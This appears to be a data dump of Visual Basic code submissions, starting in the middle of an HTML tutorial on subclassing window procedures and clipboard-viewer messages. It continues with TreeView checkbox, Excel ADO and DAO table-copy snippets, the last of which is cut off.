arguments in the\nWindowProc function.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow, why would you want to write our own message handler if\nVB already provides a perfectly good one?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportLists]>a) \n<![endif]>VB hides a lot of the Messages from us\n<![if !supportLists]>b) \n<![endif]>VB deals with some messages in a way that might not suit what\nwe want\n<![if !supportLists]>c) \n<![endif]>VB processes its messages before sending us the event. What if\nwe donΓÇÖt want it to do anything?\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLet us consider the rather complicated topic of Winsock API.\nThe way Winsock lets us know what is going on is through messages sent to our\nwindowΓÇÖs message handler. However VB hides these ones from us. In order to see\nthem, we will have to create a window procedure of our own.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow, how do we tell windows to send messages to our new\nwindow procedure? Like so:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Private Declare<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Function<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> GetWindowLong <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Lib<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> _<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>"user32"\nAlias<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\n"GetWindowLongA" (ByVal hWnd _<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> nIndex <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>) <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Private Declare\nFunction SetWindowLong Lib _<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>"user32"\nAlias<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\n"SetWindowLongA" (ByVal hWnd _<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> nIndex <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> dwNewLong _<o:p></o:p>\nAs Long) As Long<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThose are 2 new API calls, one creates a window procedure,\nand the other returns the address of a window procedure given the hwnd (window\nhandle remember)\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo, to set up a window procedure, we do this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPublic Const GWL_WNDPROC = -4\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub Form_Load() <span\nstyle='color:green'>ΓÇÿOf course it doesnΓÇÖt have to go in form load<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á PrevProc = SetWindowLong(hwnd, GWL_WNDPROC,\nAddressOf<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> WindowProc)<o:p></o:p>\nEnd sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou can replace the ΓÇ£AddressOf WindowProcΓÇ¥ with the name you\nhave given to your window procedure, but I suggest you keep the name to\nWindowProc. Also remember WindowProc must be a public Function, written with\nthe correct parameters and everything, in a public Module.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis API call returns the handle to the previous window\nprocedure if one exists\nWe must store a value into PrevProc so that we can return\nthe default Window Procedure when we are finished. So, how do we return the\nprevious window procedure? Like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub\nForm_Unload(Cancel as Integer) <span\nstyle='color:green'>ΓÇÿAgain, doesnΓÇÖt have to be in Form_Unload\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á If PrevProc <> 0 <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Then<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á SetWindowLong hwnd, GWL_WNDPROC,\nPrevProc<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á PrevProc = 0<o:p></o:p>\n┬á┬á┬á <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End If<o:p></o:p>\nEnd Sub<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo\nnow we know how to:<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCreate\nthe WindowProc Function.<o:p></o:p>\nSet\nthe WindowProc function as a window procedure.<o:p></o:p>\nLook\nfor messages that we want.<o:p></o:p>\nExtract\nvalues from the lParam and wParam arguments.<o:p></o:p>\nProcess\nall the other messages with the default handler.<o:p></o:p>\nRemove our window procedure.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHere\nis a small example taken from <a href=\"http://www.allapi.net/\">AllApi.Net</a><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>'Create a new\nproject, add a module to it<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>'Add a command\nbutton to Form1<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>'In the form<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Private Sub<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> Form_Load()<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'KPD-Team 1999<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'URL: http://www.allapi.net/<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'E-Mail: KPDTeam@Allapi.net<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'Subclass this form<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á HookForm Me<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'Register this form as a Clipboardviewer<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SetClipboardViewer Me.hwnd<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End Sub<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Private Sub<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\nForm_Unload(Cancel As Integer)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'Unhook the form<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á UnHookForm Me<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End Sub<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Private Sub<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\nCommand1_Click()<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á 'Change the clipboard<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Clipboard.Clear<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á Clipboard.SetText "Hello !"<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End Sub<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>'In a module<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>'These routines\nare explained in our subclassing tutorial.<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:green'>'http://www.allapi.net/vbtutor/subclass.php<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Declare Function<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> SetWindowLong <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Lib<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\n"user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long,\nByVal dwNewLong As Long) As Long<o:p></o:p>\nDeclare Function\nCallWindowProc Lib "user32" <span\nstyle='color:navy'>Alias "CallWindowProcA" (<span\nstyle='color:navy'>ByVal lpPrevWndFunc As Long,\nByVal hwnd As Long,\nByVal Msg As Long,\nByVal wParam As Long,\nByVal lParam As Long)\nAs Long\nDeclare Function\nSetClipboardViewer Lib "user32" (<span\nstyle='color:navy'>ByVal hwnd As Long) <span\nstyle='color:navy'>As Long<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Public Const<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>\nWM_DRAWCLIPBOARD = &H308<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Public Const<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> GWL_WNDPROC =\n(-4)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Dim<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> PrevProc <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Public Sub<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> HookForm(F As\nForm)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á PrevProc = SetWindowLong(F.hwnd,\nGWL_WNDPROC, AddressOf WindowProc)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End Sub<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Public Sub<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> UnHookForm(F <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> Form)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á SetWindowLong F.hwnd, GWL_WNDPROC,\nPrevProc<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End Sub<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Public Function<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> WindowProc(<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> hwnd <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> uMsg <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Lon<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>g, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> wParam <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>, <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>ByVal<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'> lParam <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'>) <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>As Long<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á WindowProc = CallWindowProc(PrevProc,\nhwnd, uMsg, wParam, lParam)<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á If uMsg = WM_DRAWCLIPBOARD <span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>Then<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:black'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á┬á MsgBox "Clipboard changed\n..."<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á End If<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'>End Function<o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\"'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIf\nyou want, you can create your own windows messages. However, problems can\narise. Imagine you use a message in a DLL as follows:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='color:navy'>Const MYMSG = WM_USER + 7\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHowever,\nlets then imagine that another DLL uses the exact same message for something\ncompletely different. Now to make matters worse, some poor person tries to use\nthe two DLLΓÇÖs in the same project. Let the errors and bugs and problems\ncommence. Well, there is a way around this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='color:navy'>Declare Function RegisterWindowMessage <span\nstyle='color:navy'>Lib "user32" Alias\n"RegisterWindowMessageA" (ByVal\nlpString As String) As\nLong\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat\nthis will do is allow you to create unique message numbers. Lets say you wanted\nto create your own message, you would do something like this:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMY_MESSAGE\n= RegisterWindowMessage (ΓÇ£MyUniqueStringΓÇ¥)\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThis\nwill assign MY_MESSAGE a new unique message number every time it is run.\nHowever, if you put this in a DLL then how will the applications using the DLL\nknow what the number of your message is? They do EXACTLY the same thing as\nabove. When they enter ΓÇ£MyUniqueStringΓÇ¥ into the lpString Parameter, because it\nalready exists (it was originally made by your DLL remember), it will now\nreturn the number that it assigned to MY_MESSAGE. Consider the following\nexample:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMESSAGE_ONE\n= RegisterWindowMessage (ΓÇ£MyFirstStringΓÇ¥)\nMsgbox\nΓÇ£Your first new message is ΓÇ£ & MESSAGE_ONE\nMEASSAGE_TWO\n= RegisterWindowMessage (ΓÇ£MySecondStringΓÇ¥)\nMsgbox\nΓÇ£Your second new message is ΓÇ£ & MESSAGE_TWO\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMsgbox\nΓÇ£How do we retrieve message one? Like this: ΓÇ£ & RegisterWindowMessage (ΓÇ£MyFirstStringΓÇ¥)\nMsgbox\nΓÇ£How do we retrieve message two? Like this: ΓÇ£ & RegisterWindowMessage (ΓÇ£MySecondStringΓÇ¥)<span\nstyle='font-size:10.0pt;font-family:\"Courier New\"'><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span\nstyle='font-size:10.0pt;font-family:\"Courier New\";color:navy'><![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWell,\nthatΓÇÖs the end of this tutorial. Let me just tell you that the technical name\nfor this is called Sub classing, in case you ever hear it referred to as that.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI\nhope that after reading this you understand everything, however if there is\nanything you still donΓÇÖt understand then visit <a href=\"http://www.allapi.net/\">http://www.AllAPI.net</a>\nand search for one of the API declarations mentioned in the tutorials.\nAlternately, search for WindowProc, or Subclass. They should get you something.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIΓÇÖd\njust like to say how long it took me to highlight all that code in its correct\ncolouring, so if anybody has a good program to do that automatically, IΓÇÖd be\ngrateful!\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nAlso,\nI know there are loads of people out there who know the ins and outs of Windows\nmessaging, and have read this for whatever reason. I know I read tutorials on\nthings I know inside out anyway. So, for any of you experts who have read this,\nany concerns with the tutorial (Misinformation, bugs in code, even typoΓÇÖs),\nthen IΓÇÖd like to know, so leave a comment if you want.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nI\nalso like to know if I have helped people, and if so, how much. So some\ncomments there wouldnΓÇÖt go amiss.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nEnjoy!\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n</div>\n</body>\n</html>\n"},{"WorldId":1,"id":30895,"LineNumber":1,"line":"\n'Put this call into the TreeViews NODECHECK procedure.\nPrivate Sub MyTreeView_NodeCheck(ByVal Node As MSComctlLib.Node)\n\tCall TreeCheckBoxes(MyTreeView, Node)\nend Sub\n\n'Add this procedure to a Module or to the form the TreeView is contained.\nPublic Sub TreeCheckBoxes(TR As TreeView, CurrentNode As Node)\n'This code is copyright (c)2002 by Scott Durrett - All Rights Reserved\n'No changes are allow without written approval from the Author.\n\nDim liNodeIndex As Integer\nDim lbDirty As Boolean\nDim liCounter As Integer\nDim lParentNode As Node\nDim lChildNode As Node\nlbDirty = False\nliNodeIndex = CurrentNode.Index\nIf CurrentNode.Checked = True Then 'node is checked\n 'Children Check/UnCheck\n If Not TR.Nodes.Item(CurrentNode.Index).Child Is Nothing Then\n Set lParentNode = TR.Nodes.Item(liNodeIndex).Child.FirstSibling\n Do While Not lParentNode Is Nothing\n \n lParentNode.Checked = CurrentNode.Checked\n \n If Not lParentNode.Child Is Nothing Then\n Set lChildNode = lParentNode.Child\n Do While Not lChildNode Is Nothing\n lChildNode.Checked = CurrentNode.Checked\n If Not lChildNode.Next Is Nothing Then\n Set lChildNode = lChildNode.Next\n Else\n Set lChildNode = lChildNode.Child\n End If\n Loop\n End If\n Set lParentNode = lParentNode.Next\n Loop\n End If\n '============================================================\n 'Check all parent nodes\n Do While Not TR.Nodes.Item(liNodeIndex).Parent Is Nothing\n TR.Nodes.Item(liNodeIndex).Parent.Checked = CurrentNode.Checked\n liNodeIndex = TR.Nodes.Item(liNodeIndex).Parent.Index\n Loop\n '===========================\n\nElseIf CurrentNode.Checked = False Then 'node is unchecked\n 'Children Check/UnCheck\n If Not TR.Nodes.Item(CurrentNode.Index).Child Is Nothing Then\n Set lParentNode = TR.Nodes.Item(liNodeIndex).Child.FirstSibling\n Do While Not lParentNode Is Nothing\n \n lParentNode.Checked = CurrentNode.Checked\n \n If Not lParentNode.Child Is Nothing Then\n Set lChildNode = lParentNode.Child\n Do While Not lChildNode Is Nothing\n lChildNode.Checked = CurrentNode.Checked\n If Not lChildNode.Next Is Nothing Then\n Set lChildNode = lChildNode.Next\n Else\n Set lChildNode = lChildNode.Child\n End If\n Loop\n End If\n \n Set lParentNode = lParentNode.Next\n Loop\n End If\n '============================================================\nSet lParentNode = Nothing\nSet lChildNode = Nothing\n If Not CurrentNode.Parent Is Nothing Then\n Set lParentNode = CurrentNode.Parent.Child\n Do While Not lParentNode Is Nothing\n Set lChildNode = lParentNode.FirstSibling\n Do While Not lChildNode Is Nothing\n \n If lChildNode.Checked = True Then\n lbDirty = True\n Exit Do\n End If\n \n 'If Not lChildNode.Next Is Nothing Then\n Set lChildNode = lChildNode.Next\n 'End If\n Loop\n \n \n If lbDirty = False Then\n If Not lParentNode.Parent Is Nothing Then\n lParentNode.Parent.Checked = False\n lbDirty = False\n End If\n Else\n Exit Do\n End If\n \n \n If Not lParentNode.Parent Is Nothing Then\n Set lParentNode = lParentNode.Parent\n Else\n Set lParentNode = lParentNode.Parent\n End If\n Loop\n End If\n \nEnd If\n\nSet CurrentNode = Nothing\nSet lParentNode = Nothing\nSet lChildNode = Nothing\n\nEnd Sub\n'The End\n"},{"WorldId":1,"id":23698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33850,"LineNumber":1,"line":"Dim cn As ADODB.Connection\nDim rsADO As New ADODB.Recordset\nDim strSQL As String\nDim strPath as string\n\nSet cn = New ADODB.Connection\nstrPath = '[ADD FULL PATH AND FILE NAME]\nWith cn\n .Provider = \"MSDASQL\"\n .ConnectionString = \"Driver={Microsoft Excel Driver (*.xls)};\" & _\n \"DBQ=\" & strPath & \" ; ReadOnly=false;MaxScanRows= 0;\"\n .Open\nEnd With\n ' Specify Sheet Name and Cell Range \n strSQL = \"SELECT * FROM [Sheet1$A1:Z10]\"\n rsADO.Open strSQL, cn\n Do while not rs.EOF\n \t' Add code here to work with recordset\n rsADO.MoveNext\n Loop\nSet cn = Nothing\nSet rsADO = Nothing\n"},{"WorldId":1,"id":32944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27352,"LineNumber":1,"line":"Public Sub AccessDAOBulkCopy(MySource$, MyTarget$)\n'Author: Ted Calbazana\n'Date Created: 6/26/2001\n'Purpose: A record to record, field to field\n'utility for copying only the good data between two tables. (DAO Version)\n'Any bad data fields are skipped logged into log table \"tbl_UpdateLog\".\n'This utitlity would be used for worst case scenarios\n'such as when one of a tables fields has gotten corrupted.\n'(Memo fields are notorious sources of concern)\n'When this happens conventional methods of copying or exporting a table will not work.\n \n'TO USE:\n'Make sure you have a reference to the Microsoft DAO 2.5 or 2.6 Library\n'Make sure all the \"Allow Zero Lengths\" table properties in all fields have been set to YES. \n'(I've added the routine \"SetZeroLength\" so you don't need to do this manually. \n'Make sure you have security permissions)\n'Make sure the \"REQUIRED\" property is set to NO.\n \n'Create a little log table to store error notices. And call it \"tbl_UpdateLog\"\n'with the following fields:\n 'Name Type Size\n 'ID Number (Long) 4\n 'BadID Number (Long) 4\n 'Comment Text 50\n'In the Access debug window type the function name and in parenthesis\n'type your source table name and the target table name\n'ie: AccessDAOBulkCopy(\"MyFavData\",\"MyCleanedData\")\n'OK - You 're good to go!\n \n On Error GoTo Err_Handler\n Dim RecordIndex As Long\n Dim FieldIndex As Long\n Dim FieldCount As Long\n Dim RecordCount As Long\n Dim DB As Database\n Dim RS1 As Recordset\n Dim RS2 As Recordset\n Dim MySource As String\n Dim MyTarget As String\n Set DB = DBEngine(0)(0)\n DB.Execute \"DELETE * FROM \" & MyTarget\n DB.Execute \"DELETE * FROM tbl_UpdateLog\"\n SetAllowZeroLength (MyTarget) 'It works now.\n 'Set the table names right here\n Set RS1 = DB.OpenRecordset(MySource, dbOpenTable)\n Set RS2 = DB.OpenRecordset(MyTarget, dbOpenTable)\n If Not RS1.EOF Then\n FieldCount = RS1.Fields.Count\n RS1.MoveLast\n RecordCount = RS1.RecordCount\n RS1.MoveFirst\n Else\n MsgBox \"No Records to Copy\", vbInformation\n Exit Sub\n End If\n For RecordIndex = 1 To RecordCount\n RS2.AddNew\n For FieldIndex = 0 To (FieldCount - 1)\n If Not IsNull(RS1.Fields(FieldIndex)) Then\n On Error Resume Next\n If IsDate(RS1.Fields(FieldIndex)) Then\n RS2.Fields(RS1.Fields(FieldIndex).Name) = RS1.Fields(FieldIndex)\n 'Log the bad fields\n If Err.Number > 0 Then\n DB.Execute \"INSERT INTO tbl_UpdateLog ( BadID, Comment )SELECT \" & \"'\" & Format(RS1.Fields(\"ID\")) & \"', '\" & \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Debug.Print \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Err.Number = 0\n End If\n ElseIf IsNumeric(RS1.Fields(FieldIndex)) Then\n RS2.Fields(RS1.Fields(FieldIndex).Name) = RS1.Fields(FieldIndex)\n 'Log the bad fields\n If Err.Number > 0 Then\n DB.Execute \"INSERT INTO tbl_UpdateLog ( BadID, Comment )SELECT \" & \"'\" & Format(RS1.Fields(\"ID\")) & \"', '\" & \"Field#\" & Format(FieldIndex) & \"(\" & RS1.Fields(FieldIndex).Name & \") Error or Locked Out\" & \"'\"\n Debug.Print \"Field#\" & Format(FieldIndex) & \"(\" & 